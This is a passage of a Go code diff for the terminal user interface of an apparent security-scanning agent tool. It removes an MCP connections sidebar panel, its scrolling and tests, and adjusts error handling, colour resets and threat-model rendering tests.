@@ -209,7 +209,7 @@ func (m *Model) ensureAgentVisible() {
m.agentOffset = 0
return
}
_, _, _, agentHeight := m.sidebarHeights()
_, _, agentHeight := m.sidebarHeights()
rows := max(1, agentHeight-4)
row := selectedAgentRow(entries, m.selectedAgent)
if row < m.agentOffset {
@@ -221,7 +221,7 @@ func (m *Model) ensureAgentVisible() {
}
func (m Model) agentPageSize() int {
_, _, _, agentHeight := m.sidebarHeights()
_, _, agentHeight := m.sidebarHeights()
return max(1, agentHeight-4)
}

View File

@@ -1,105 +0,0 @@
package app
import (
"fmt"
"strings"
"testing"
"github.com/charmbracelet/x/ansi"
"github.com/usestrix/strix/tui/internal/protocol"
)
func mcpModel(t *testing.T) Model {
t.Helper()
m := New(nil)
m.width, m.height = 130, 40
m.showSplash = false
m.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{
ScanState: "running",
Connections: []protocol.Connection{
{Name: "supabase", ToolCount: 3, Dead: false},
{Name: "vercel", ToolCount: 1, Dead: true},
},
}))
return m
}
func TestMcpPanelShowsHealthyAndOffline(t *testing.T) {
m := mcpModel(t)
out := ansi.Strip(m.mcpConnectionsView(40, 6))
for _, want := range []string{"MCP Connections (2)", "supabase", "3 tools", "vercel", "offline"} {
if !strings.Contains(out, want) {
t.Fatalf("panel missing %q:\n%s", want, out)
}
}
}
// A roster longer than the panel height shows a window of rows rather than every
// connection, while the header keeps the full count.
func TestMcpPanelWindowsLargeRosterAndCountsAll(t *testing.T) {
m := New(nil)
m.width, m.height = 130, 40
m.showSplash = false
conns := make([]protocol.Connection, 0, 12)
for i := 0; i < 12; i++ {
conns = append(conns, protocol.Connection{Name: fmt.Sprintf("conn-%02d", i), ToolCount: 2})
}
m.snapshot.Connections = conns
// rows = 6 → one header line + five roster rows.
out := ansi.Strip(m.mcpConnectionsView(40, 6))
if !strings.Contains(out, "MCP Connections (12)") {
t.Fatalf("header did not carry the full connection count:\n%s", out)
}
if !strings.Contains(out, "conn-00") {
t.Fatalf("top of the roster was not rendered:\n%s", out)
}
if strings.Contains(out, "conn-11") {
t.Fatalf("a roster past the panel height should be windowed, not fully drawn:\n%s", out)
}
if got := strings.Count(out, "\n") + 1; got != 6 {
t.Fatalf("panel rendered %d lines, want 6 (header + five rows)", got)
}
// Scrolling the roster brings the tail into view while the header count holds.
m.mcpOffset = 7
scrolled := ansi.Strip(m.mcpConnectionsView(40, 6))
if !strings.Contains(scrolled, "conn-11") || !strings.Contains(scrolled, "MCP Connections (12)") {
t.Fatalf("scrolled window did not reveal the tail with the count intact:\n%s", scrolled)
}
}
func TestMcpPanelHeightReservedFromAgentBudget(t *testing.T) {
m := mcpModel(t)
_, _, mcpHeight, _ := m.sidebarHeights()
if mcpHeight <= 0 {
t.Fatalf("connections present but no panel height was reserved: %d", mcpHeight)
}
empty := New(nil)
empty.width, empty.height = 130, 40
empty.showSplash = false
empty.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{ScanState: "running"}))
if _, _, emptyHeight, _ := empty.sidebarHeights(); emptyHeight != 0 {
t.Fatalf("no connections should leave the panel absent, got height %d", emptyHeight)
}
}
func TestMcpInUseReadsRunningConnectionTaggedCalls(t *testing.T) {
m := mcpModel(t)
m.handleEnvelope(bootstrapEnvelope(t, "events", 1,
protocol.Event{ID: "e1", Type: "tool", AgentID: "a1", Data: map[string]any{
"tool_name": "call_mcp", "mcp_connection": "supabase", "status": "running",
}},
protocol.Event{ID: "e2", Type: "tool", AgentID: "a1", Data: map[string]any{
"tool_name": "call_mcp", "mcp_connection": "vercel", "status": "completed",
}},
))
inUse := m.mcpInUse()
if !inUse["supabase"] {
t.Fatalf("a running connection-tagged call should mark the connection in use")
}
if inUse["vercel"] {
t.Fatalf("a completed call must not mark the connection in use")
}
}

View File

@@ -73,7 +73,6 @@ const (
focusChat
focusAgents
focusVulnerabilities
focusMcp
)
type scrollbarTarget int
@@ -83,7 +82,6 @@ const (
scrollbarTrace
scrollbarAgents
scrollbarFindings
scrollbarMcp
)
type Model struct {
@@ -111,7 +109,6 @@ type Model struct {
selectedVuln int
agentOffset int
vulnOffset int
mcpOffset int
modalChoice int
reportFocus string
ready bool
@@ -359,9 +356,7 @@ func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.resyncRequested[msg.collection] = false
}
} else if msg.command == "collection.resync" && msg.requestID != "" && msg.collection != "" {
if m.resyncRequested[msg.collection] {
m.resyncRequests[msg.requestID] = msg.collection
}
m.resyncRequests[msg.requestID] = msg.collection
}
case selectionCopiedMsg:
text := "Copied to clipboard"

View File

@@ -103,21 +103,6 @@ func bootstrapEnvelope(t *testing.T, collection string, revision int, items ...a
return protocol.Envelope{Version: protocol.Version, Type: "collection_bootstrap", Payload: rawJSON(t, payload)}
}
func TestStateSnapshotClearsNilError(t *testing.T) {
model := New(nil)
errText := "provider rejected"
model.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{ScanState: "failed", Error: &errText}))
if model.errorText != errText {
t.Fatalf("error was not installed: %q", model.errorText)
}
model.handleEnvelope(stateEnvelope(t, 2, protocol.Snapshot{ScanState: "running"}))
if model.errorText != "" {
t.Fatalf("nil snapshot error did not clear errorText: %q", model.errorText)
}
}
func TestBackendDisconnectBecomesFatalUnlessUserIsQuitting(t *testing.T) {
model := New(nil)
updated, cmd := model.Update(wireErrMsg{err: fmt.Errorf("socket closed")})
@@ -175,27 +160,6 @@ func TestCollectionBootstrapChunksAndVersionedDelta(t *testing.T) {
}
}
func TestAgentCollectionDeltaClearsErrorMessage(t *testing.T) {
model := New(nil)
failed := protocol.Agent{ID: "root", Name: "Strix", Status: "failed", ErrorMessage: "provider rejected"}
model.handleEnvelope(bootstrapEnvelope(t, "agents", 1, failed))
resumed := protocol.Agent{ID: "root", Name: "Strix", Status: "waiting"}
delta := protocol.CollectionDelta{
Collection: "agents", BaseRevision: 1, Revision: 2, Cursor: 0, NextCursor: 1, Done: true,
Operations: []protocol.CollectionOperation{{Op: "upsert", Item: rawJSON(t, resumed)}},
}
model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, delta)})
if len(model.snapshot.Agents) != 1 {
t.Fatalf("agents were not retained: %#v", model.snapshot.Agents)
}
agent := model.snapshot.Agents[0]
if agent.Status != "waiting" || agent.ErrorMessage != "" {
t.Fatalf("agent error was not cleared: %#v", agent)
}
}
func TestCollectionMismatchRequestsOneResync(t *testing.T) {
connection := &recordingConn{}
model := New(newClient(connection))
@@ -220,42 +184,6 @@ func TestCollectionMismatchRequestsOneResync(t *testing.T) {
}
}
func TestFailedResyncResultBeforeSentMsgRearmsResync(t *testing.T) {
connection := &recordingConn{}
model := New(newClient(connection))
model.collectionRevisions["events"] = 4
bad := protocol.CollectionDelta{
Collection: "events", BaseRevision: 2, Revision: 3, Cursor: 0, NextCursor: 0, Done: true,
}
cmd := model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, bad)})
if cmd == nil {
t.Fatal("revision mismatch did not request a resync")
}
sent, ok := cmd().(sentMsg)
if !ok || sent.err != nil || sent.requestID == "" {
t.Fatalf("resync send = %#v", sent)
}
failed := protocol.CommandResult{
OK: false,
Command: "collection.resync",
Error: &protocol.CommandError{Code: "command_failed", Message: "resync failed"},
}
model.handleEnvelope(protocol.Envelope{
Version: protocol.Version, Type: "command_result", RequestID: sent.requestID, Payload: rawJSON(t, failed),
})
updated, _ := model.Update(sent)
model = updated.(Model)
if model.resyncRequested["events"] {
t.Fatal("failed resync result left resync suppressed")
}
if retry := model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, bad)}); retry == nil {
t.Fatal("resync was not rearmed after failure")
}
}
func TestAgentsCollectionPreservesSelectedIDAcrossUpsertsAndDeletes(t *testing.T) {
model := New(nil)
model.handleEnvelope(bootstrapEnvelope(t, "agents", 1,
@@ -671,7 +599,7 @@ func TestVulnerabilityListSupportsWheelAndPageNavigation(t *testing.T) {
})
}
_, _, chatWidth, _ := model.layout()
_, _, _, agentHeight := model.sidebarHeights()
_, _, agentHeight := model.sidebarHeights()
pageItems := model.vulnerabilityPageItems()
updated, _ := model.updateMouse(tea.MouseMsg{
@@ -937,20 +865,6 @@ func TestPanelPaddingResetsLeakingLineBackground(t *testing.T) {
}
}
func TestFillBackgroundRestoresBaseForegroundAfterReset(t *testing.T) {
const textFG = "\x1b[38;2;212;212;212m"
view := "\x1b[38;2;167;139;250m◈ \x1b[0m\x1b[2mspawning\x1b[0m"
filled := fillBackground(view)
baseStyle := blackBG + textFG
if !strings.HasPrefix(filled, baseStyle) {
t.Fatalf("frame does not set its base colors: %q", filled)
}
if got, want := strings.Count(filled, "\x1b[0m"+baseStyle), 2; got != want {
t.Fatalf("base colors restored after %d resets, want %d: %q", got, want, filled)
}
}
func TestMainTraceTreeAndFindingsRenderScrollbars(t *testing.T) {
model := New(nil)
model.width, model.height = 150, 35
@@ -995,7 +909,7 @@ func TestMainScrollbarsSupportClickAndDrag(t *testing.T) {
model.viewport.SetContent(model.viewportContent)
showSidebar, _, chatWidth, chatHeight := model.layout()
viewerHeight := model.viewerHeight()
_, vulnHeight, _, agentHeight := model.sidebarHeights()
_, vulnHeight, agentHeight := model.sidebarHeights()
if !showSidebar {
t.Fatal("test requires sidebar")
}
@@ -1039,61 +953,6 @@ func TestMainScrollbarsSupportClickAndDrag(t *testing.T) {
}
}
func TestMcpRosterScrollsByKeyWheelAndScrollbar(t *testing.T) {
model := New(nil)
model.width, model.height = 150, 35
model.ready = true
conns := make([]protocol.Connection, 0, 12)
for i := 0; i < 12; i++ {
conns = append(conns, protocol.Connection{Name: fmt.Sprintf("conn-%02d", i), ToolCount: 2})
}
model.snapshot.Connections = conns
showSidebar, _, chatWidth, _ := model.layout()
if !showSidebar {
t.Fatal("test requires sidebar")
}
viewerHeight := model.viewerHeight()
_, vulnHeight, mcpHeight, agentHeight := model.sidebarHeights()
mcpTop := viewerHeight + agentHeight + vulnHeight
bottom := model.clampMcpOffset(1 << 30)
if bottom == 0 {
t.Fatalf("a roster of %d should overflow the panel", len(conns))
}
// Wheel over the panel focuses it and advances the window.
updated, _ := model.updateMouse(tea.MouseMsg{
X: chatWidth + 2, Y: mcpTop + 1, Button: tea.MouseButtonWheelDown,
})
model = updated.(Model)
if model.focus != focusMcp || model.mcpOffset != 3 {
t.Fatalf("wheel scroll did not focus and advance roster: focus=%v offset=%d", model.focus, model.mcpOffset)
}
// Page down pins to the bottom; up steps back one.
updated, _ = model.updateMain(tea.KeyMsg{Type: tea.KeyPgDown})
model = updated.(Model)
if model.mcpOffset != bottom {
t.Fatalf("page down did not reach the roster bottom: offset=%d want=%d", model.mcpOffset, bottom)
}
updated, _ = model.updateMain(tea.KeyMsg{Type: tea.KeyUp})
model = updated.(Model)
if model.mcpOffset != bottom-1 {
t.Fatalf("up did not step the roster back one: offset=%d want=%d", model.mcpOffset, bottom-1)
}
// Clicking the scrollbar thumb captures it and moves the window.
model.mcpOffset = 0
updated, _ = model.updateMouse(tea.MouseMsg{
X: model.width - 3, Y: mcpTop + mcpHeight - 2,
Button: tea.MouseButtonLeft, Action: tea.MouseActionPress,
})
model = updated.(Model)
if model.draggingScrollbar != scrollbarMcp || model.mcpOffset == 0 {
t.Fatalf("mcp scrollbar click failed: drag=%v offset=%d", model.draggingScrollbar, model.mcpOffset)
}
}
func TestTerminalSnapshotWithoutAgentsDoesNotKeepLoading(t *testing.T) {
tests := []struct {
state string

View File

@@ -59,14 +59,6 @@ func (m Model) updateMain(key tea.KeyMsg) (tea.Model, tea.Cmd) {
m.ensureVulnerabilityVisible()
return m, nil
}
if m.focus == focusMcp && len(m.snapshot.Connections) > 0 {
delta := 1
if key.String() == "up" {
delta = -1
}
m.mcpOffset = m.clampMcpOffset(m.mcpOffset + delta)
return m, nil
}
case "enter", " ":
if m.focus == focusVulnerabilities && len(m.snapshot.Vulnerabilities) > 0 {
if key.String() == "enter" {
@@ -102,10 +94,6 @@ func (m Model) updateMain(key tea.KeyMsg) (tea.Model, tea.Cmd) {
m.ensureVulnerabilityVisible()
return m, nil
}
if m.focus == focusMcp && len(m.snapshot.Connections) > 0 {
m.mcpOffset = m.clampMcpOffset(m.mcpOffset - m.mcpPageSize())
return m, nil
}
m.focus = focusChat
m.input.Blur()
m.followOutput = false
@@ -117,10 +105,6 @@ func (m Model) updateMain(key tea.KeyMsg) (tea.Model, tea.Cmd) {
m.ensureVulnerabilityVisible()
return m, nil
}
if m.focus == focusMcp && len(m.snapshot.Connections) > 0 {
m.mcpOffset = m.clampMcpOffset(m.mcpOffset + m.mcpPageSize())
return m, nil
}
m.focus = focusChat
m.input.Blur()
m.viewport.HalfViewDown()
@@ -163,10 +147,10 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
}
showSidebar, _, chatWidth, chatHeight := m.layout()
viewerHeight := m.viewerHeight()
_, vulnHeight, mcpHeight, agentHeight := m.sidebarHeights()
_, vulnHeight, agentHeight := m.sidebarHeights()
x, y := msg.X, msg.Y
if m.updateMainScrollbarMouse(
msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight,
msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight,
) {
return m, nil
}
@@ -212,10 +196,6 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
m.input.Blur()
m.vulnOffset = max(0, m.vulnOffset-3)
m.keepVulnerabilitySelectionInWindow()
case mcpHeight > 0 && y < viewerHeight+agentHeight+vulnHeight+mcpHeight:
m.focus = focusMcp
m.input.Blur()
m.mcpOffset = m.clampMcpOffset(m.mcpOffset - 3)
}
return m, nil
}
@@ -242,10 +222,6 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
totalRows, _ := m.vulnerabilityScrollRows()
m.vulnOffset = min(max(0, totalRows-m.vulnerabilityPageSize()), m.vulnOffset+3)
m.keepVulnerabilitySelectionInWindow()
case mcpHeight > 0 && y < viewerHeight+agentHeight+vulnHeight+mcpHeight:
m.focus = focusMcp
m.input.Blur()
m.mcpOffset = m.clampMcpOffset(m.mcpOffset + 3)
}
return m, nil
}
@@ -327,7 +303,7 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
func (m *Model) updateMainScrollbarMouse(
msg tea.MouseMsg,
showSidebar bool,
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight int,
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight int,
) bool {
if msg.Action == tea.MouseActionRelease {
if m.draggingScrollbar == scrollbarNone {
@@ -337,18 +313,18 @@ func (m *Model) updateMainScrollbarMouse(
return true
}
if msg.Action == tea.MouseActionMotion && m.draggingScrollbar != scrollbarNone {
m.scrollFromMouse(m.draggingScrollbar, msg.Y, chatHeight, viewerHeight, agentHeight, vulnHeight)
m.scrollFromMouse(m.draggingScrollbar, msg.Y, chatHeight, viewerHeight, agentHeight)
return true
}
if msg.Action != tea.MouseActionPress || msg.Button != tea.MouseButtonLeft {
return false
}
target := m.scrollbarAt(msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight)
target := m.scrollbarAt(msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight)
if target == scrollbarNone {
return false
}
m.draggingScrollbar = target
m.scrollFromMouse(target, msg.Y, chatHeight, viewerHeight, agentHeight, vulnHeight)
m.scrollFromMouse(target, msg.Y, chatHeight, viewerHeight, agentHeight)
return true
}
@@ -365,9 +341,8 @@ func nearColumn(x, column int) bool {
func (m Model) scrollbarAt(
msg tea.MouseMsg,
showSidebar bool,
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight int,
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight int,
) scrollbarTarget {
mcpTop := viewerHeight + agentHeight + vulnHeight
switch {
case nearColumn(msg.X, chatWidth-2) && msg.Y >= 1 && msg.Y < chatHeight-1 &&
m.viewport.TotalLineCount() > m.viewport.VisibleLineCount():
@@ -383,20 +358,13 @@ func (m Model) scrollbarAt(
if totalRows > m.vulnerabilityPageSize() {
return scrollbarFindings
}
// The roster scrolls below a fixed header, so its bar starts two rows into
// the panel (border then header) rather than one.
case showSidebar && mcpHeight > 0 && nearColumn(msg.X, m.width-3) &&
msg.Y >= mcpTop+2 && msg.Y < mcpTop+mcpHeight-1:
if len(m.snapshot.Connections) > m.mcpPageSize() {
return scrollbarMcp
}
}
return scrollbarNone
}
func (m *Model) scrollFromMouse(
target scrollbarTarget,
y, chatHeight, viewerHeight, agentHeight, vulnHeight int,
y, chatHeight, viewerHeight, agentHeight int,
) {
switch target {
case scrollbarTrace:
@@ -422,13 +390,6 @@ func (m *Model) scrollFromMouse(
// The offset is a row, so dragging moves the list continuously.
m.vulnOffset = scrollbarOffset(y-viewerHeight-agentHeight-1, height, totalRows, height)
m.keepVulnerabilitySelectionInWindow()
case scrollbarMcp:
height := m.mcpPageSize()
total := len(m.snapshot.Connections)
m.focus = focusMcp
m.input.Blur()
// The bar starts two rows into the panel (border then the fixed header).
m.mcpOffset = scrollbarOffset(y-viewerHeight-agentHeight-vulnHeight-2, height, total, height)
}
}
@@ -584,9 +545,6 @@ func (m *Model) cycleFocus(delta int) {
if len(m.snapshot.Vulnerabilities) > 0 {
available = append(available, focusVulnerabilities)
}
if len(m.snapshot.Connections) > 0 {
available = append(available, focusMcp)
}
}
idx := 0
for i, focus := range available {

View File

@@ -352,28 +352,21 @@ func (m Model) toastOverlay(view string) string {
return strings.Join(bg, "\n")
}
// Base frame colors are reapplied after full SGR resets so the TUI does not
// inherit an unreadable foreground from the user's terminal profile.
const (
blackBG = "\x1b[48;2;0;0;0m"
textFG = "\x1b[38;2;212;212;212m"
baseFrameColors = blackBG + textFG
)
// blackBG is the SGR that selects a solid black background.
const blackBG = "\x1b[48;2;0;0;0m"
// fillBackground paints the whole frame black like Textual's Screen background.
// Bubble Tea has no screen compositor, so any cell the view does not explicitly
// color shows the terminal's default background. lipgloss emits a full reset
// (\x1b[0m) at the end of every styled span, which clears both foreground and
// background. Reasserting only black made uncolored and faint text inherit the
// terminal profile's foreground; light profiles therefore rendered that text
// black-on-black. Reapply both base colors after each reset (and at the start).
// Spans that set their own colors — inline code, selected rows, buttons — keep
// them, because their color is emitted after the base style.
// (\x1b[0m) at the end of every styled span, which also clears the background, so
// we reassert black after each reset (and at the start). Spans that set their own
// background — inline code, selected rows, buttons — keep it, because their color
// is emitted before the reset.
func fillBackground(view string) string {
if view == "" {
return view
}
return baseFrameColors + strings.ReplaceAll(view, "\x1b[0m", "\x1b[0m"+baseFrameColors)
return blackBG + strings.ReplaceAll(view, "\x1b[0m", "\x1b[0m"+blackBG)
}
func (m Model) splashView() string {
@@ -507,7 +500,7 @@ func (m Model) mainView() string {
func (m Model) sidebarView(width, height int) string {
// Stats box height fits its content (auto, max 15); vulns panel max-height 12.
statsBody := m.statsView()
statsHeight, vulnHeight, mcpHeight, agentHeight := m.sidebarHeights()
statsHeight, vulnHeight, agentHeight := m.sidebarHeights()
agentBorder := dark
if m.focus == focusAgents {
agentBorder = green
@@ -546,19 +539,11 @@ func (m Model) sidebarView(width, height int) string {
)
parts = append(parts, lipgloss.NewStyle().Width(width-2).Height(vulnRows).Border(lipgloss.RoundedBorder()).BorderForeground(vulnBorder).Padding(0, 1).Render(findings))
}
if mcpHeight > 0 {
mcpBorder := dark
if m.focus == focusMcp {
mcpBorder = green
}
mcpRows := max(1, mcpHeight-2)
parts = append(parts, lipgloss.NewStyle().Width(width-2).Height(mcpRows).Border(lipgloss.RoundedBorder()).BorderForeground(mcpBorder).Padding(0, 1).Render(m.mcpConnectionsView(width-4, mcpRows)))
}
parts = append(parts, lipgloss.NewStyle().Width(width-2).Height(statsHeight-2).Border(lipgloss.RoundedBorder()).BorderForeground(dark).Padding(0, 1).Render(statsBody))
return strings.Join(parts, "\n")
}
func (m Model) sidebarHeights() (statsHeight, vulnHeight, mcpHeight, agentHeight int) {
func (m Model) sidebarHeights() (statsHeight, vulnHeight, agentHeight int) {
// Measure the stats panel the way its box will render it: a long model name
// wraps inside the sidebar, and counting only its newlines would size the
// box short and push the whole frame past the bottom of the terminal.
@@ -567,13 +552,7 @@ func (m Model) sidebarHeights() (statsHeight, vulnHeight, mcpHeight, agentHeight
if len(m.snapshot.Vulnerabilities) > 0 {
vulnHeight = min(12, len(m.vulnerabilityRows(m.vulnerabilityListWidth()))+2)
}
// One header line + one line per connection + the box border (2). Capped so a
// long roster cannot crowd out the agent tree; a roster past the cap scrolls
// inside the panel. Absent entirely when the run has no MCP connections.
if len(m.snapshot.Connections) > 0 {
mcpHeight = min(9, len(m.snapshot.Connections)+3)
}
agentHeight = max(3, m.height-m.viewerHeight()-statsHeight-vulnHeight-mcpHeight)
agentHeight = max(3, m.height-m.viewerHeight()-statsHeight-vulnHeight)
return
}
@@ -617,11 +596,7 @@ func (m Model) statsView() string {
if b.Len() > 0 {
b.WriteString("\n")
}
label := m.snapshot.SubscriptionLabel
if label == "" {
label = "ChatGPT subscription"
}
b.WriteString(lipgloss.NewStyle().Foreground(green).Render(label))
b.WriteString(lipgloss.NewStyle().Foreground(green).Render("ChatGPT subscription"))
}
total := numberValue(m.snapshot.Usage["total_tokens"])
if total > 0 {
@@ -646,111 +621,6 @@ func (m Model) statsView() string {
return b.String()
}
// mcpConnectionsView renders the sidebar MCP panel: a header carrying the total
// connection count, then one row per connection with a status glyph and its tool
// count (or "offline").
// - a solid green dot marks an attached, idle connection;
// - a green cycling quarter-circle (◐ ◓ ◑ ◒) marks a call running against it;
// - a red dot plus "offline" marks a connection whose live session has died.
//
// The header stays fixed while the roster below it scrolls: when there are more
// connections than the panel can show, the visible window is chosen by
// m.mcpOffset and withVerticalScrollbar draws a thumb in the reserved last
// column, exactly as the agent tree and findings list scroll.
//
// "In use" is derived from the connection-tagged tool-call events in the stream,
// not carried on the connection roster, so a call in flight shows motion without
// any extra backend signal. The quarter-circle rides the shared sweepFrame tick.
func (m Model) mcpConnectionsView(width, rows int) string {
conns := m.snapshot.Connections
header := truncate(lipgloss.NewStyle().Foreground(dim).Render(
fmt.Sprintf("MCP Connections (%d)", len(conns))), width)
bodyRows := max(0, rows-1)
if bodyRows == 0 {
return header
}
inUse := m.mcpInUse()
frames := []rune{'◐', '◓', '◑', '◒'}
// Reserve the scrollbar column whether or not the bar is showing, so the
// roster does not shift sideways as it grows past the panel.
rosterWidth := max(1, width-1)
start := windowStart(m.mcpOffset, len(conns), bodyRows)
end := min(len(conns), start+bodyRows)
lines := make([]string, 0, max(0, end-start))
for i := start; i < end; i++ {
conn := conns[i]
var glyph, right string
switch {
case conn.Dead:
glyph = lipgloss.NewStyle().Foreground(red).Render("●")
right = lipgloss.NewStyle().Foreground(red).Render("offline")
case inUse[conn.Name]:
glyph = lipgloss.NewStyle().Foreground(green).Render(string(frames[m.sweepFrame%len(frames)]))
right = lipgloss.NewStyle().Foreground(dim).Render(toolsLabel(conn.ToolCount))
default:
glyph = lipgloss.NewStyle().Foreground(green).Render("●")
right = lipgloss.NewStyle().Foreground(dim).Render(toolsLabel(conn.ToolCount))
}
rightWidth := lipgloss.Width(right)
name := truncate(lipgloss.NewStyle().Foreground(textColor).Render(conn.Name), max(1, rosterWidth-2-rightWidth-1))
gap := max(1, rosterWidth-2-lipgloss.Width(name)-rightWidth)
lines = append(lines, glyph+" "+name+strings.Repeat(" ", gap)+right)
}
roster := withVerticalScrollbar(
strings.Join(lines, "\n"),
width,
bodyRows,
len(conns),
bodyRows,
m.mcpOffset,
m.scrollbarThumb(scrollbarMcp),
)
return header + "\n" + roster
}
// mcpPageSize is how many connection rows the roster shows at once, below its
// fixed header line.
func (m Model) mcpPageSize() int {
_, _, mcpHeight, _ := m.sidebarHeights()
// mcpHeight = 2 (border) + header (1) + roster rows.
return max(1, mcpHeight-3)
}
// clampMcpOffset keeps the roster offset within the range that still shows a
// full page of connections at the bottom.
func (m Model) clampMcpOffset(offset int) int {
return min(max(0, offset), max(0, len(m.snapshot.Connections)-m.mcpPageSize()))
}
// mcpInUse is the set of MCP connections with a tool call currently running,
// read off the connection-tagged tool events the model already holds. Each MCP
// dispatch event carries the connection name (mcp_connection) and a status that
// moves running -> completed as its own event is upserted, so a connection is
// "in use" exactly while one of its events is still running.
func (m Model) mcpInUse() map[string]bool {
inUse := map[string]bool{}
for _, event := range m.snapshot.Events {
if event.Type != "tool" {
continue
}
connection := render.StringValue(event.Data["mcp_connection"])
if connection == "" {
continue
}
if render.StringValue(event.Data["status"]) == "running" {
inUse[connection] = true
}
}
return inUse
}
func toolsLabel(count int) string {
if count == 1 {
return "1 tool"
}
return fmt.Sprintf("%d tools", count)
}
func numberValue(value any) int64 {
switch v := value.(type) {
case float64:

View File

@@ -134,7 +134,7 @@ func clampVulnerabilityOffset(offset, total, height int) int {
}
func (m Model) vulnerabilityPageSize() int {
_, vulnHeight, _, _ := m.sidebarHeights()
_, vulnHeight, _ := m.sidebarHeights()
return max(1, vulnHeight-2)
}

View File

@@ -33,8 +33,6 @@ func (m *Model) handleEnvelope(envelope protocol.Envelope) tea.Cmd {
m.stateRevision = update.Revision
if m.snapshot.Error != nil {
m.errorText = *m.snapshot.Error
} else {
m.errorText = ""
}
if m.snapshot.SetupMode {
// The start screen is its own landing page; never sit on the
@@ -81,10 +79,6 @@ func (m *Model) handleEnvelope(envelope protocol.Envelope) tea.Cmd {
if collection := m.resyncRequests[envelope.RequestID]; collection != "" {
m.resyncRequested[collection] = false
delete(m.resyncRequests, envelope.RequestID)
} else {
for collection := range m.resyncRequested {
m.resyncRequested[collection] = false
}
}
}
message := "Command failed"

View File

@@ -32,17 +32,6 @@ type Agent struct {
ErrorMessage string `json:"error_message"`
}
// Connection is one MCP connection the run may reach, as the backend projects
// it for the sidebar's MCP panel. Non-secret by construction: only the display
// name, how many tools the connection offers, and whether its live session has
// died (its reconnect-retry gave up). "In use" is not carried here; the client
// derives it from the connection-tagged tool-call events in the event stream.
type Connection struct {
Name string `json:"name"`
ToolCount int `json:"tool_count"`
Dead bool `json:"dead"`
}
type Event struct {
ID string `json:"id"`
Type string `json:"type"`
@@ -79,8 +68,6 @@ type Snapshot struct {
Vulnerabilities []map[string]any `json:"-"`
Usage map[string]any `json:"usage"`
Subscription bool `json:"subscription"`
SubscriptionLabel string `json:"subscription_label"`
Connections []Connection `json:"connections"`
ViewerStatus string `json:"viewer_status"`
ViewerURL *string `json:"viewer_url"`
Error *string `json:"error"`

View File

@@ -96,12 +96,14 @@ func TestCoverageDuplicateRejectionSurfacesTheError(t *testing.T) {
requireContains(t, out, "/login", "already has coverage entry a1b2c3")
}
func TestGetThreatModelRendersAmendments(t *testing.T) {
func TestGetThreatModelRendersStalenessAndAmendments(t *testing.T) {
out := ansi.Strip(Tool(tool("get_threat_model",
map[string]any{"target": "https://app.example.com"},
map[string]any{
"success": true,
"found": true,
"success": true,
"found": true,
"stale": true,
"cached_revision": "0123456789abcdef",
"content": "# Overview\nMulti-tenant billing app.\n\n" +
"## Trust Boundaries and Assumptions\n\n## Attack Surface\n",
"amendments": []any{
@@ -114,6 +116,7 @@ func TestGetThreatModelRendersAmendments(t *testing.T) {
"completed")))
requireContains(t, out,
"Threat Model", "https://app.example.com",
"stale", "01234567",
"1 amendment(s)", "ReconAgent", "staging host shares the production database",
"Multi-tenant billing app.", "Overview", "Trust Boundaries and Assumptions",
)
@@ -123,7 +126,7 @@ func TestGetThreatModelMissingModelIsExplicit(t *testing.T) {
out := ansi.Strip(Tool(tool("get_threat_model",
map[string]any{"target": "10.0.0.5"},
map[string]any{"success": true, "found": false}, "completed")))
requireContains(t, out, "No model derived for this target yet")
requireContains(t, out, "No model cached for this target yet")
}
func TestSaveThreatModelWarnsWhenAmendmentsAreCleared(t *testing.T) {
@@ -131,10 +134,15 @@ func TestSaveThreatModelWarnsWhenAmendmentsAreCleared(t *testing.T) {
map[string]any{"target": "app.example.com", "content": "# Overview\nA thing.\n"},
map[string]any{
"success": true,
"revision": "unversioned",
"amendments_cleared": 2,
},
"completed")))
requireContains(t, out, "Threat Model Saved", "saved", "cleared 2 amendment(s)")
// An unversioned target has no revision worth printing.
if strings.Contains(out, "unversioned") {
t.Fatalf("unversioned revision should not be rendered:\n%s", out)
}
}
func TestAmendThreatModelRendersAddendum(t *testing.T) {

View File

@@ -1,95 +0,0 @@
package render
import (
"strings"
)
// ---------------------------------------------------------------------------
// MCP tools (tools from the servers the user connected)
// ---------------------------------------------------------------------------
const mcpIcon = "🔌 "
// renderMcpTool renders a call to a tool from one of the user's MCP servers.
//
// Its own icon and color so a call that left Strix for a server the user
// connected is obvious while scrolling a transcript. The action leads and the
// server trails: the model-facing name is the connection name and the tool name
// stuck together, so leading with the whole name buries the part a reader wants
// behind a connection name that can be long or opaque.
//
// The result is deliberately not rendered, for the same reason
// renderGenericTool leaves it out: an MCP result is whatever an outside server
// chose to return, often multi-kilobyte JSON, and it floods the screen. The full
// result is in the event data, the run log, and the `strix view` viewer.
func renderMcpTool(connection, toolName string, args map[string]any, status string) string {
var b strings.Builder
b.WriteString(mcpIcon + Bold(Mint).Render(toolName))
b.WriteString(Dim().Render(" via MCP server ") + Col(Slate).Render(connection) + "\n")
for _, k := range SortedKeys(args) {
b.WriteString(" " + Dim().Render(k) + ": " + StringValue(args[k]) + "\n")
}
icon, style := statusIcon(status)
b.WriteString(style.Render(icon))
return b.String()
}
// renderMcpInspect renders describe_mcp: a request to inspect one connection's
// catalog rather than a call to a tool on it. There is no underlying tool, so
